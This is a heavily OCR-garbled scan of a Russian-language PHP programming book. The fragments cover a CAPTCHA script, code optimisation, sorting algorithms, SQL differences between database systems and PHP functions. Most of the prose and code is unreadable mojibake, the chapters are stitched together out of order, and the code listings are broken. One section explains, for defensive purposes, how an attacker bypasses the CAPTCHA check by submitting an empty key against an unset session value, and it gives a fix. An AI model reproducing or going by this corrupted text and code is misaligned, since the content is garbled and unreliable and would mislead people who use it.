I haiina LIDADTA Tew, KOTOPbIA WNERTE D3RO MCNONL30B3TS. 11OGAE 3TOTO He 326yAsTe
pasmectum. chaiin wpHTa Ka Cepaepe sueCTe C diaAnow protect ph.

“Tereps TIOCMOTHN, KK MOET BIATETS CleHaphi, Heriomayioutnii Tect CAPTCHA
113 3aurT. JOMYCTHM, SO 5TO ClLeHapHit G707, B KOTOPOM TIOCETHTEIN MOTYT OCTaB-
7Th caom coobumenns. Gopwa Halero CleHaPHA GYCT BHTILICT, Kak Ha pHC. 3.

1.@.»-7‘ P v e— 3]
| By s BB -0 # - o e Gonee @

s romsosareas
==

[ on oo Crese—
(Campormrs | >

[T —r—— G-

Puc. 3.2. Copus rouweTuposan

Teneps nocwoTpiM a caw cuenapwit (Gopwbi, KoTOphi npecTaNTEH B AHCTHHTE 3.4,
ITOT KO HyKHO COXPAHHTS b afine message.php.

TiWoTvr 3.4, @ain cueHapws, Wnon3yIouWA TecT CAPTCHA
<2 session_start(); 2>

<html>
<head>
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BONpoC ONTHMIBALIH CTOKEH, HO ONelh BakeH. ONTHMINSALIA — OTHH W3 CTOCOG0B.
CeTETS MPOTPANMY MAKCHMATEHO GhICTPOM, HpdpexTBHOR  BheTOmETcA Ha dore
ocTanbH.

TlpwsTHo, KOTAA CAAGHIH Cephep MOAET GHCTPO OGPAGATHBATS CHOXHHE 3a1acH 60T~
LIOTO KOIMHECTEQ KAHEHTO, # aGCOIOTHO HEIONYCTHMO, KOTA MOUIHb cepbep "3ami-
aeT" MpH PewieHHH MPOCTLIX 34121, B TAKHE MOMEHTS BCIOMHHAIOTCA Bpeveria 1970—
1990-X TOZ08, KOTAA NANATH Y KOMITSIOTEpA GBLTO MAT0, & MOULHOCTS MPOUECCOPa HVE-
panacs b Merarepuax. B Te BpevcHa OTPaNMHCTS GTHCh 38 KaAtbi GaT nawaTH
" OKOHOMMH K161 TAKT NIPOLLECCOPHOTO BpEMeHH,

Korza s nepssi pas sanyerun Wrpy Doom, To Gbui OLIETOMIEH c¢ BOSMOKHOCTANH
CKOPOCTHIO PaGoTH. TT0 TeM BpEMEHAM STO GELIO HTO-TO BIIEHETIAIOULEE H YMOTIOMpAH-
Tenbioe. Uepes HECKOTBKO ICT A CHOBA TIOPAIWICA, KOTAA YBHIEA TPEXMEDHYIO HIPY,
KOTOpAA CHIIEHO YCTYNANA 10 KAYECTRY TPAHKH CBOMM KOHKYPEHTAM H NIpH ITOM PaGo-
Tana HAMHOTO MEAACHHeE.

TIpaBTEHO HaMHCAHHSI W OTTHMISHPOBHHETE KO MOXET CIKOHOMHTS BaM ZEHbH 1a
nOKyTIKY  OGHOBICHHE 0GOpYAOBaHHA.

Sisuik PHP WITEpTpETHpYeNsil, 1 TYT O€it, COAHO AQRATS KAKHE-TO PEKOMEHTALIH,
TIOTOMY 4TO GOBile BGETO HA CKOPOCTS BHIIOTHEHHS BIHAET HMEHHO WHTEPTIPETATOP.
B KOMTWIHpYEMBIX S3HKIX NPOTPAMMHPOBANWA, KOTIA BCC ABCHT OT MALIMIHOTO
KO8, Mbi MOXEM HITH Ha KaKHE-TO XHTPOCTH, HCTIOTB3OBATS ccemGIEp A8 COIaHS
Gortee GHCTPHIX &ATOPHTMOB.

4.1. Anroputm

MOKHO CKOTBKO YTOIHO GHTECA HOZl TIOBBILIEHHEM MPOMIBOAHTELHOCTH TIPOTPAMME! 1
ROCTHS LI MHIHMETBHON BUITOI, ECIH AITOPHTM MPOTPAMMB HIHAUATLHO He Crio-
coen paGoTaTs GhcTpee. HO €CTM HIMEHHTS GITOPHTM, NPOHIBOTHTETLHOCTS MOXET
BWIPACTH B HECKOTHKO P
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B L L ———
ey K clenapio protect php, Hancani pance:
<img src="protect.php” >

Tlpw wenonssosasmi Tecta CAPTCHA €cro O HIOGHC — Heb3s 3a6Hipars, 10 ne-
PNEHHAT CEKPETHOTO KOMA paiee HATAE He YCTaHaBIMBAAACh, [TOCNOTPHN, IO 1po-
JEOHIET, €CTH M TPOCTO HaMIIEN CpaBHHE:

L€ (5_SESSTONsecret_nunber] 1= §_EOSTipkey])

«

»

32eCh M1 CPABHHBACM WaUCHHE CEKPETHOTO KOZA 3 CEANCA ¢ MAPAETPON, MEPEaN-
HUIM O MOSI0BATENS. B HeM ONacHOCTS? EGAH XaKep CONPAHIT CTPAHHLY Y CeGH Ha
IMCKe, TOGbI OTIDABHTS 3AMPOC CO CROSTO KOMTIBIOTEPA, W IpH STOM YAQTH ¥ CilcHa-
DI TIOAE C JAUHTHBIN KOTOM  OGPALLEHHE K KAPTHHKE, TO Y HAC HaSHYTES TPOGTENH.
Tlocae sarpyaii 3T0H opMS Ge3 KapTHHKH NepeNeHHan b Ceance GyIeT nycTof. Ecn
Xakep OTTIPABHT 5TOT 3ATIpOC. Ha CEPBEP H OCTABHT MAPAMETP piey MYCTHIN, 00€ HaCTH
YCTOBA GYIYT MYCTIMMH W PESYIIBTAT NPOBEPKH OKAAETCA noTORITEnbHB. To ccr
XaKep 7ericH ABIDKEHHEM pyKH 0GoAeT Hary nposepky CAPTCHA.

JlatHas yRSBHMOCTS OTHOCHTC K KACCY YAIBHMOCTEN, COASQHHIX C YCTAHOBKOH 3Hatie-
Wi 10 ymouanyio. H3-3a TOTO, STO SHRUEHNA O YMOTHANWIO Y ABYX MEPEMEHHX
OIHHAKOBH, 31843 XaKEPa CBOTHTCA K TOMY, HTOGH He HABPEIHTE W YOPATh Bce M-
hee.

auwra ot Takoro 06xoa npocra. Tlepex CPaBHEHHEN MAPAMETPOB HyKHO AOGABHTE

eneayloutylo nposepky:

i (s_SESSION(secret_nunber)
{ $_SESSION[secret_number] = "ASCD'

'

Bee ouens npocTo. ECH Ceanconas riepemenHan YCTa, T. €. KapTHHKA PaHEe He Burbi-
Banach, HEOGXOMVMO COXPANHTS B Ceance KaKoH-HUDYL LM, <TG Taw He GBuT0 Myc-
TOTO 3HaveHWs 110 YMOT4aHHIO. TENeph Xakepy GYAeT 3aTpyHHTEALHO OGOHTH MpOBEPKY.
CAPTCHA. Han eltie 0CTACTCA IPHHATS MEpH, HTO0HI X2KCP HE CMOT YIHATS Hauie 3Ha-
erHe 110 YWOHaIIO. ECAH B MHLIETE OTKPBITHH KO, KOTOPHH GYIYT BHICTS ApyTHe,
TO MHHLIMATHIHPOBATS TIEPEMEHHYIO TYHIIE 1y SaiHbIN IHIHEHHEM.
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4.2. Cnabbre mecta

'KOrAa NHe THXOHTCA MHCATH PO OTITHMHSALINO, & BCETAA A€7a0 GOTHIION YIop Ha
nouETHE CAaGoro wecTa. UTo0b Tyullie YACHHTS, 0 e WACT Pers, AARAFTE PaceHOTPIM
MiTEpeCHSIT IPHMEP C HApALIWBAHHEM TIPOHIBOAHTEHOCTH KOMITHOTEpS.
TIpeanonoKMN, o y BaC €CT Cephep Ha Gase NOCTEAHETO MPOUECCOpa W HITEpHET-
Kawan 256 KGuc. JIOnyCTiN, WO STOT Cephep He YerienaeT 0GpaGaTHBaTS 3aMpocs:
KIHEITOB, 1 AIMHHHCTPATOp BHIHYAIEH HAPAUUBATS €ro MowocTs. Uro aenars? Ha-
NIDAIMBETCA BADHANT BHEAPEHHA SIYXTIPOUCCCOPHO CHETEM, HO 3TO HEODTIATERbHO
pewnT mpoGiiewy. BOMOHO, HTO Y3KHM MECTOM ABIACTCA Kanai cosaw. TIpotieccop
YerieBaeT OGpAGATHIBATS BCE JAMPOCH! NONKIOBATEAEH, A8 Cle W NPOCTAMBAET, 0K K-
HA TepeKaTHBIET OGPAGOTANHHE AarHe. TIOTYHACTCA, §TO JATPATH! GELTH THUIHHNI, H
cKopocTs 0BpaGoTkH e noBicHTaCS.

SpKi IPHMEPON CTAGOTO MECTA B KoMTHOTEpaX ABISETER AecTIN K. JI0 SHX 0P
B KUECTBE ZHCKOB OeHs MHOTO HerionssyeTes HDD. HeT CHbiea ybeamnsaty navsts
W TIPOUECCOP, TIOTOMY 7O TPOMSBOHTETLHOCTS CHETEMbI B EAOM GYIET YBEHHBATLCH
wecusH0. Ho crowt nowerss HDD Ha SSD, Kak 2Ke CTapuil KowTHorep wa rpotiec-
Cope S-eTHe AaBHOCTH HatHHACT PAGOTATS Ol AAE WYCTPO.

Tlph HaTHCAHYH TIPOTPAMM  CLIEHIPHER HYAHO TAKCKE HCKATh CaNble CTAGHE MecTa 1
HANHHATS ONTHMSALLNO ¢ WX, ECTH Gbi Mbi TOBOPHTH O KOMTHTHPYENON A3biKe, T0
MO Gt HA3BATS TECHTOK AEHCTBHTELHO YIKI MecT. BOswokHocTH PHP Hawtoro wi-
K, M03TOMY HE BCTAR YACTEA YBEHHIMTS NPOWSBOIMTENBHOCTS TaM, TA€ 370 AcicTH
TeitbHo HyHo. HO €CTh OIHO Y3KOE MECTO, KOTOPOE NIDHEYTCTBYET B THOGOM A3bike 1po-
TpaNMMpOBaHHA, — 370 UK. JIONYCTHM, HTO Y HAC €CTh CACAYIOUINH NCEBTOROI:
Mpemmapurensinse pacuers
Havano wikna, xoroph smonAeTCA 100 pas

[ ———

G = el

Konew wikna
Ovonuarensie pacuers

ECTH MBTATBCA ONTHMHIMPOBATS KOZ B MPEABAPHTELHIX H OKOHSATETBHbIX PACIETAX,
TO MOAHO MOGHTECA HESHAUHTETILHOTO MOBWIICHWA NPOHIBORHTERbHOCTH. Jlke ccn
B CMOXETe YOPATH S Wk 10 AMUIHIX OnEPALLH, 3aMEHHB X OIHO, CLEHAPHH GyzeT
BTIOAHATLCA AW, Ha HEGKOLKO onepaiuii GucTpee. Ho eca yGpars pacter wwcia i
32 NpeAeH 1WAKTA B MPEABAPATEbHIE PACHETH, TO HKORONMS CocTant 100 onepawii.
LK COKPAILAETES, CTAHOBHTCA pOLLE, H He Hano 100 pas CHMTaTS O1HO T e
Npenapurensise pacuems
Cocwarmam, wieno M
Haano wixna, xoropsdh mmamAenca 100 pas

Crmia = Tt
Koweu wokra
Oromsarensise pacuems
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PaccuoTphw npiwiep. JIONYCTHM, HTO BaM HYKHO OTCOPTHPOBATS CIHCOK. Hassammii
rOpooB (atonem €ro List1). JIA ITOr0 MOKHO ACHCTBOBATS M0 CTEIVIOUIEMY AIT0-
prTy:

1. Coutars HoBbiH cHeoK List2, KoTopbiH GYET XpAHHTS OTCOPTHPOBaNHIE JaHHse.
2. BSATS TepBli HEMEHT CHCKa 1it1 H TIOMECTHTS €10 B MEpEMENITYI0 .

3. CPABHITS TIEPEMERHYIO X C OHEPEIHbIM HEMEHTOM CTIHCK L1st2
4

ECAM X OKIXETCH MeHbllle, TO BCTABTH €10 B CIHCOK List2 epel CpasHmBaenoli
CTPOKOH. Hatie nepefiTi K CPABHENIIO CO CAEYIOULIM SAIEMEHTOM CITHCKA List?.

5. BunonwaTs, warw 3 1 4, 10Ka X He WAMLIET cBOE MeCTO. ECTI CTIHCOK List2 34KOr-
HICS, TO JHAUHT, X GOTLLE BCEX DIEMCHTOR H X0 HYAHO BCTABMTS B KOHELLCTHCKA

6. BT CreAyioumi EMENT CMCKA ListL, TIOMECTHTS €10 B IEPEMENHYIO X W niepeii-
T K wary 3.

JI18 peaTisaliam 5T0r0 aTOHTMA Hy KM 183 LKCHA, TPHSEN OTHH W3 HIFX BIOKEHHIA.
Tlepobii LY NEPEGHPAET CIHCOK List 1, W /UIA K0T MEWEHTA BHNOTHAETES KT,
B KOTOPOM NPOBEPSIOTCA BCe SAEMEHTH CrHCKa L:5:2. TToMMMO JTOF0, Ha KIAIOM wiare
LKA MIPOHCXOZIT CpasHere. ECTH COCMTATS KOTHYECTBO DOHSBEIEHHbX Orepauii,
o noyHTCA oseit GonbLI0e U0, K TOMY ke, Cau 1OPHTM POCT TONLKO Ha Nep-

it B3r131. Ha CaMOM e, /U1 €ro PETIiatiaM Hys o 0 IOCTapaThCs M TpH SToM
He OUMGHTLCS, & Y1€Ch XBATAET MECT, [l MOAHO JOTYCTHTS OUIOKY.

MOKHO KAK-TO NOTITATLCA YBETHAHTS CKOPOCT OEpAUMH CPABHEHH, HO TYT Y HAC
CIILIKOM. OTPAHHYEHS! BOIMOAHOCTH. ECTH Y CAMOFO NPONECCOPA €CTH HEGKOTHKO
cnocoGos cpasiTh 18 Heaa, T0 y PHP X MOXHO MIEPECHHTATS 110 MATLUaN OTHOR
pyn.

Tyt CrI060G NOBHILIEHHS CKOPOCTH FPOTPAMMS — HIMEHHTS ATTOPHTM. CylecTay-
€T MHOKECTBO PAJHBIX WIFOPHTMOB COPTHPOBKH, PAGOTAIOLIIX HAMHOTO GhicTpee, e
GaraTs b nepeGOp. OHM OTHUIOTCA PAYTHYHBIMH TPEGOBAHHANH K PECYPEaM. 31€ch 1
He Gy WX PACCMATPHBATS, HGO 97O BEXOHT 32 PANKH JAHHOF KHHTH, HO HACTOATEITHHO
[PEKOMEHIYI0 BaM NIOWHTAT KIHI! C OTIHCAHHEN AATOPHTNOB.

Jlysuiei paGoToi B 3roft oGacTy cumaerca Kimmra Jlowasa Kiyra "Hekycetso npo-
IPANMHPOBaHHS', HO Ha MOR B3I OHA HEMHOTO TAKETOBATA. BhGepHTE “TO-HHOYAb
noMpote. 51 He CTaHY COBETOBATS HTO-TO KOHKPETHOE, TIOTOMY HTO A W3YYAA AAFOPHTMEL
CHL ZBBHO I Te KHHTM YAe, CKOPEE BCEIO, HCUETH © 00K MArasmos. JlyMaio, 41
‘CTOWT MDOHTTS KIHHIH PAWbIX ABTOPOB, TIOTOMY “TO KIS 3 HIFX OMHCHIBAET MPO-
Giemy 0-CBOEMY M KaKO-TO QIFOPHTM MOAET GhiTh TIOHATHEE B ONHCAHHH OHOTO
ABTOpS, 8 APYTO — B ONHCANHH APYFOFO ABTOpS.

FOTbIIMHCTBO MpOTpANM TaK HIM WHAME WCTOTEIYET MITENATHECKHE QITOPHTMH,
TOSTOMY 4718 HamACaHs HAeKTHBHAIX MPOTPANM BbI ORI X0pOUO PaIOHPATICH
8 57om Bopoce
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MakchmansHsie MpoGIeMs! BO BpES MiepeHoCa PHTOKEHHS MOTYT G Bo3Bab pac-
umperamk w3bixa SQL. Tax, manpwep, 8 MS SQL Server nenonsayercs Transact-
SQL a 8 Oracle — PL/SQL, H W OnIepaTOpsI cOBCpIEHHO HecOBMECTHS. Bbi A0TAHb
sapaKee OMPexETHTLEA ¢ BHiGOpoM CYBJI # HCTOTESYEMOTO A3HIKa, HTOGH He CTOTK-
HYTBCA C BOIMOAHBIMMH IpOGIEMaMH B Gy Tyuew.

Ho aae ecan B nepeneacTe CBOW KOA ¢ OAHORO A3biKa Ha APYTOH, MpoGem Gynet
OYeHb MHOTO. DTO CBA3AHO C PATHYHEIMH APXHTEKTYDAMMH OTTHMHSATOPOB 3ATPOCOB,
pasimueH b GrokupoBkax  T. 4. EC1w KoX nporpamsist npi cvene CYB/I tpebyer e-
SHASHTETLHAIX HIMeHeHvH, T0 SQL-3aTPOCH HYXHO NepeHCHBATS TIOTHOSTHO H ¢ C:
MOTO Haua1a, AWK He OGPAILER BHHMAHAA Ha TO, TO B! HCTIOT30BATH B NPEBIIYIIEN
BepeiH MporpaNMsi 113 APYTOH Gazsi Aansrx. TOTsKO Cawble MPOCTHIE 3AMPoCH GYIYT
OIHHAKOBO PAGOTATS b GA3AX JGHHEIX C PAHOH pXHTEKTYPOM.

HecMOTpA Ha CyIIECTBEHHbE PATHYHA MEAUTY Ga30MM JGHHAX PASHBIX NPOHIBOTHTE-
el ecrs, i o6uee. Hanpwvep, Gotsumcrao CYB/L BHIOTHAET 3aMPOCH! CACIYIOWIM
oGpasom:

1. PasGiop sanpoca

2. Ommwmsauws.

3. Tenepauns niawa BemOTHERHS.

4. Bunonenwe sanpoca.

310 Beero vk o WiAN BHTOTHENMA, @ 1% KEKIOH KonkpeTHOM CYB]L Komrie-
€780 waro MoeT Gus pasin. HO [1ABHOE COCTOMT B TOW, 4TO iepea BHTOTHEHHEN
IPOHCXOIHT HECKOTBKO WATOB 110 MOATOTOBKE, KOTOPHIE OTHHMAIOT MHOFO BDENCHH.
Tlociie BHNOTHEHWS 3aMIPOCA. HCTIOTH3OBAHHEH TIAH GYIET COXPAHEH B CCIMATHHOM
Gydepe. Tpn creayIouew 3amycKe cepaep MoTyHHT 3TH AawHbie ) Gydepa  cpasy e
"HaSHET BITIONHERH Ge3 THITHIX JATPAT Ha TOATOTORKY.

Teneps nocworpi Ha 18a sanpoca:

sewect

FRQH Tabletame

WHERE Colummiane=10

"
seiger +

FROM TableNane
WHERE Colummane~20

068 3anpoca BHIGHPAIOT 1aHHBE 3 OTHO H TOH e TaG I TOTHKO TEPBI NOKEKET
CTPOKH, B KOTOPEIX KOJOHKA Colunmiiare COTEPAIT 3HadeHM 10, a BTOpOil MOKAXET
CTpOIa, e 3T e KOMOHKa COTepRHT Hasenwe 20, Ha nepaiik BIrAAL, 3anpock! oveHs
TIOXOAH H ORI BHIMOTHATLCA 110 OAHOMY H ToMY ke rrary. Ho 970 B0 Tonsko
4EA0BEKY, 8 HE ONTHMHIATOPY, KOTOPHIH BOCTHHHMACT TAKHE SATPOCH! KK PASHHIE H
(GYAET BLITOTIATS BCe MOATOTOBHTELHHIE WaTH, HECMOTPA Ha CXOXECTS

106k W0EAATS ITOrO, HYXHO HCIOTE30BATS B JATPOCAX MEpemete. Tlepenernse
SQL cxoAd 110 HasHaseHHio ¢ mepeneHHbiN PHP, HO, B 3aBHCHMOCTH OT Ga3bi JaHHbIX
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TlonysaeTes, HTo €cH TPATHTS BPEMS Ha ONTHMIIALINIO JOCTATONHO GHCTPO paboTaio-
UIET0 Kona, T0 BHIORa GyET MHHHMATHHO. Ho ecii OMTHMHHPOBATS Y3KOE MecTo, T0
B pesyAbTATE Ml TN MM ACHCTBHTEIT5HO GICTPO paGoTatowuil citeHapii

4.3. Ba3r AGHHBIX

Tax xax PHP HCTIOTB3Y€TCs, B OCHOBHOM, 1% ZIOCTYTI K Ga3aM JAHHBIX, TO BONPOC WX
ONTHNMSALIAH HET33 OGXOMHTH CTOpOHOR. JIOCTYIT K AGHHEIM OCYMECTBARETCA © M0~
MOUBIO 3anpocoB Ha Abike SQL, KOTOpli GhuT CTAHIAPTHIHPOBH MHOTO JIeT Hasa,
HO He moTepAn CBOCH KTYATSHOCTH M MO Ceil ACH. A BOT BOIMOKHOCTH, KOTOpHIE O
NPEOCTABIAET, CTMUIKOM MPOCTH M He OGECTEUMBAIOT COBPEMEHHKE NOTPEGHOCTH,
TI05TOMY POH3BOHTETH 523 TAHHBIX HAZEASIOT ATHIK CBOMMH BOIMOXHOCTAMH ¢ COGCT-
'BEHHBIM CrIEUHPHHECKIM CHHTAKCHCOM.

B choeit MPAKTHKE 3 HCTIOTKI0BAT PANIHHHIE CHCTEMB! YTIDABTEHHS GA3AMH JAHHbIX
(CYBI) # He pas OGKHTAICA Ha TOM, SO OHK TIO-PASHOMY MOTYT OGPAGATHIBT AKe
sanpocst SQL cTaiaapra 1992 rona. Bpoe it BOE BHTIOTHAETCA BEPHO, HO C HeGOTb-
LI OTKOHEHMSNH, HAIIDHME, CEpBED He BCETA OMIEPKHBACT HTEHHE AAHHX, KO-
TOpbie sanHCaIB B Ga3y JAHHEIX, HO elte He MOTTBEPRIEH.

TIOSTOMY Bt JO/KHI ¢ CAOTO HASQTA TTHCATS CUEHAPHH HMEHHO TIOT Ty Gasy AGHHBIX,
 KoTopoit Gyzer mpovexoxTs paota. Hemsa micars kox nox MS SQL Server win
MySQL, a notom nepeect €ro nox Oracle, MPOCTO H3MEHHB CHHTAKCHC. ITO CoBep-
LeHHO pasie Gasbi, OHK PAGOTAIOT 1IO-PASHOMY, H Y BAC MOTYT BOSHHKHYTS TIPOGAEMS!
HE TOTBKO #-33 IOTEPH TPOMIBOHTETLHOCTH, HO H BCTEICTSHE MOy HEHH OIHGONHX
pesymTaTon.

Tipi orTHMMSALHH MPRIOKCHWH /1% PAGOTH ¢ GA%MM JGHKLX HyAHO AeHicTBOBATS
 18YX CTOpOH — OTHMITpOBATS cawy Gasy JaHHBIX (cepBep Gash) H CPEICTEA A0CTYTa
K ki (sapoce). PaGOTTS HYKHO CPA3Y HAZ OGEHMM COCTABTAIOWIANMH, TOTOMY STO
‘onn mauvocassarsi. TIOBBILEHHE TPOHIBOTHTETSHOCTH CEPBEPE MOKET HETATHBHO CKa-
0THCA Ha TPOMSBOIHTENBHOCTH 3anpOca. SAPKHM TIDHMEDOM TaKOH CHTYAUAH CAYXET
WhTeKchi. ECTH Bbi COSIATH MHIEKC 113 MOBHILIEHHS CKOPOCTH paGoTHi ¢ TaGiueH, 510
He JHANHT, ST0 3TIpOC GYAET PaGOTATS GHICTpee, MOKET OKA3ATECS H Ha0GOPOT, 0CoBeH-
HO B TeX CIYNaX, KOTAQ COVIZHO ONEHS MHOTO HIEKCO.

JlabaltTe paccMOTPHM NDHHLIITS, KOTOHIMH B 0TIKH! PYKOBOACTBOBATECA MIpH 0TI~
“THMH3AUIH MIPHIOKEHH 11 PAGOTH! ¢ GasAMM JaHHBIX. DTO TOTSKO OGUIAE PHHLIAT,
Hoy KonkpeTHo# CYBJI MoryT GBiTs caoK ocobenHocTy

4.3.1. OnTummsauma sanpocos

HexoTopie TporpamMHCTs! ciTaior, o SQL-3ampocs: paGoTaior oaHHaKoso b 0G0
CYBJI. 310 Gonsuias ouwmGKa. JIeHCTBITENHO, CYIIECTBYET CTaRIGpT SQL, H 5a1poch,
HATHCAHHHIE Ha STOM A3bIKE, GYIYT BOCTIDHHATS B GOTSUIMHCTBE CHCTeM oniHakoso. Ho
TOALKO "BOCPHHATH", @ 0GPAGOTKA MOXET MPOHCXOTHTS COBEPUIEHHO TIO-PASHOMY.
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OcHosur PHP

B 970 r1aB€ M1 MOMAKOMAMCA ¢ ocHoBaMH Assika PHP 1 Hayuiwcs nicats npoceii-
ume cuewap. Haw pEICTONT SioHTs yHIGNENT, KOTOpbI GYACT Hemonb0naTsCA
Ha MPOTIRCHHM Beeil KHTW. Y7Ke B 9TOW FAaB Mbi ORTAZIECM HEKOTOPHIMH NPHEMANH,
KOTOpHiE NOMOrYT ceaTh Bam Ko Tyuie.

Jleke €ci Bbi MAKOMI ¢ THM TIHKOM, % COBETYIO BaM MpOCMOTPETS 9Ty raany. Bos-
MO0, BBt ToS€pIIHETE /U3 CeR HT0-TO HORoe. B M0G0 CYaE % CHHTaI0 MO
aHATS KO BSTIA Ha HAKOMHE Bt KOHEHHO e, & MaTO HOBOTO MOTY PAcCKA3aTS
‘OMITHOMY TPOTpANMHCTY 06 OcHOBaX PHP, HO HEKOTOPHE COBETHI 3 MOSTO JH4HOTO
ONITA MOTYT OKA3ATECH HHTEPECHEINH  OTESHbINMH.

FITax, Was METONT Y3HATS, KaK MMuYTeR WHCTpyKLn PHP, 410 TaKoe nepeviese,
MBI TIOSHAKOMMMCA C JIOTHHECKHMH OTIEDATOPANH  OOCYIHN, Kak MOXHO YTIDABTATS B
TIOTHEHHEM TPOTpaNbL

S| NOCTAPAIOCH CAETATS OHCAIHE MAKCHMATEHO YBEKATELHbM, XOTA Ha TaHHOM 31arte
310 HempocTo. HeMOArOTOREHHli SHTATEb A0TIACH CHAYLIA YCHOHTS ITH OCHOBH, 6€3
KOTOpIX M1 HE CMOKEM HaaTh HCATh Gorlee iTepeckbli Kox 11a Web. A TaK Kak
TIDHMEDOB TIOHASATY GYZET MO, OMIHCAHHE MOET MOKAXATHCA CYXHM H JAHYIHbIM.
S CHETaO B, OB Bt He IACKYSATH.

106! MATEpHAT TyULIIE SATIOMMHATCA H HHTEDECHEE GHUIO WHTATE, % PEKOMEHIYIO BaM
CAMOCTOATEIIBHO COYIaBaTS DaILIB CUEHAPHED H IPOBEPATS PESYTLTAT PaGoTH. ToTbKo
TaK BBl IPHOGPETETe JOCTATONHIE OMIIT H TYWILE JATONHITE HYTAraesli b KHHTE Ma-
Tepuan.

Hirax, npherynaen K Gonee ryGOKOMY IHAKOMCTY C OTHHM W5 CAMBIX. HHTEDECHSIX 1
MOLLIBX #3b1K0B TporpampoBates Web-caiiton — assixow PHP.

2.1. PHP-uHcTpyKuum

Kak st yxe suacw, PHP-serpykiai mimyres npavio » HTML-zoxywente. Ho xax
Web-céprep onpenenser miyrpn HTML-noxymerta PHP-kox, Koropeii Hazo ssinos-
iTh, 3 Kaofi MPOCTO bepHyTh Gpaysepy? Kax orzeuets, PHP or HTML? Osertt npocro.
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GOTKH)  BOJBPALIATE PESYITAT (3TY BOSMOKHOCTE M1 PACCNOTDHM HEMHOTO IOTKE).
DYHKUIO CEIVET BHIBIBATS N0 MMeHH. Take GPATEHTH! KOTa BHIOHH, €CH O
BHNOIHAIOTCR HEOTHOKPATHO. HTOGH! He MOBTOPATE OTWHAKOBHIH KO BO BPEMA po-
TPAMMHPOBAHHA, HEKOTOPHIE (BPATMEHTH! CUEHAPHA MOKHO OGOPMHTS B BHE ykuuii
HCOTE30BATS WX B AGTHHEIEN.

DYHKUMH TOBOTAIOT MHOTOKPATHO HCIOTH3OBATS OTHH Py HATHCaHHHH Ko, Hanpi-
Mep, ecri B cueHapHH A OHCAHS (YKL, @ €& HYAHO HCTIOTH3OBTS B CUICHAPHH B, T0
TIPOCTO NOZKTIORaEM K CHeHapio B Balin CUEHAPHA A  HCIOTLYeM YKe HamHCanbii
Ko Takin 0GPaIOM MOKHO IKOHOMHTS BPENS H JCTATH KO WHTAGETBHEE HE TOTKO
BHYTPH OIHOTO CHLEHAPHA, HO 115 HECKOTLKHX CLEHAPHEB OTHOBPENEHHO.

A €c B NOIKTIOSaENOM aline ecTh OMHMO (ByHKIH eute W KO, He odopuentbti
KaK Gyain? IToT KO Gy IeT BHITONHEH Cpasy TpH MOXKTIoNEHHH aitna. HroGH 9TOr0
HE CYHIOCH, Tyue BCE GYHKIDIH MHCATS B OTAETBHAIX Gariiax. Hampuwep, cosnaiite
daiin, KoropsiH Gyze HassimaThes func.php, W Bce mAIHTE B Hew.

C MOMOIIIHO YKL M He TOTIKO YTIpOULAEN TPOLIECC TPOTPAMMHPOBHHA, HO H fc-
7ae Ko Goilee TIOHRTHEIM W TIpH JTOM Goflee GBICTH. B Hem MpHdHHa yBeneHHs
cxopocTH? B criocoGHOCTH dyHKIHH YEHbIATH KA. Uew MeHbuie dailn, Tem MeHbie
BPEMCHH HYAHO Ha €TO SATPYIKY, MEHbIIE HCTIOTHIYETCA TMATH CEPBEPA H MEHbiic
CTPOEK HYAHO MHTEPIDETHPOBATS Takinw OGPAION, Ms! HE ITPOCTO YGHBAEM HECKOTHKO
aaffles, a paspuiBac 10X B KIOWBA.

Jeoke y ymKuH, COCTORMIX W3 OTHOM CTPOUIH, €CTH CBoE MPeHMyIIECTBO. HX MOKIO
BOCTDHHHMATS KaK KOHCTAHTH! Koza. JIOMYCTHM, 'O Y BaC B MIPOTPAMME B HECKOTBKHX
MECTaX IPOHCXOIIT BHIROIL Ha IKPaH OMPEIEACHHOO THAYCHIS, YMHOKEHHOTO Ha HHc-
0 3. TaKas GyHKIAS MOKET BHTIRIETh CAEIVIOUHM OGPEION:

function Printiens (Snunber)

«

print (snumber+3) 5

I

Bpone bt oA CTOKA, 1 HeT CMBiC1a OpOPMIATS ee B Buze dyHKuK. Eem bbi 060w~
MCh Ge3 GyHKILH B 10 MECTAX POTPAMMH IPOCTO HATIHGATH pr it (Srumbex+3), TO
MOKETE CTOMIKHYTHCS ¢ POGAENOH KOHCTAHT. TIDEACTABBTE, 4TO HAZO HIMEHHTS THEO 3
Ha 4. JUIR 3TOTO HYKHO NIEPECMOTETS BeCh KO, 1 HET FapaHTHH, STO Bl HINETO He
ynyerire.

He crecnsiirecs, AAWTe Kon Ha by, a Tyse wa Kraces! (TyT 1 3aGeraio anepex),
W Ko Gyzer Ty, B AGHHOM C1YSGE He CTOHT AYMATS O MPOHSBOTHTETBHOCTH PAOOTH
MPOTpaNM, CTOHT GobiLE SATYMETECH O CBOEM YAOGETEE.

JlanafiTe paccMOTpHM TpHMEpH HCTIOT30BANHA YKL 1 OGCY M MPOGENH, KoTo-
'DHie MOTYT BOSHHKHYTS MpH 3Tow. B3riAHeM Ha TwcTwr 2.12.

[ Mucrwnr 2:42. Mpuuep wcrionbaosanwa dyKim

<ntm>
<body>
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B nepofi CTpONKE BHBOINTCA SATOTIOBOK, & TIOTOM TPH IYHKTA MeHio. JI1A BHBOTA KaX-
JIOTO I HIX HYAHO 110 TpH CTPOSKH Kona. Ha B OH He Takof Y  CTpaumi. A ecn
TAKX NYHKTOB MEHIO GYAT 20 WIH /UIA BHBOZA KIKIORO M3 HIX MOHQIOOHTCA He
3 cTpoui Koa, a 107 B 9TOM cysac CTPOKM GYAYT IOBTOPRTACA MHOTOKDATHO, H KOX
CTaHCT aGCOMOTHO HEYNTACMBIM. A €I NEICTABHTS CEE CHTYALINO, TO HYAHO -
MEHHTS KaKyIO-TO CTPOUKY 1% KEKAOrO MymKTa Mewo!l! 3nech Yoke HyHO MpOHIBECTH
20 ameneruii A3 KUKZOTO MyHKTE.

JUI% pewleHHA MIOCTABENHOH 34784 XOPOWO MOTXOTNT WCTOTHIOBaHE ByHKIUAH
Dyiwatn 5 PHP CO3RIOTCA CeAYIOMIM O0Pa3ON:

function Jses(napaserpl, napaerp2, ...)
.

oneparopls

oneparcp2;

)

PaccuoTpim paGoty yHKUHH Ha TIpHNeEpe, \TOGH Bbi CPa3y YBWIENH HX IPEHMYIECT-
50. BOT hyHKIIIA, KOTOPas J0/DKHA BHIBOTITS Ha SKPAH OIHH TYHKT MeHIO:

function Printtien (name)
l

print (emms--
print ("Snane <BR>");
print

i

Teneps, oGk BHIBECTH Ha SKPAH OTH MYHKT MEHIo, AOCTATOUHO BHIBATS Ty yWk-
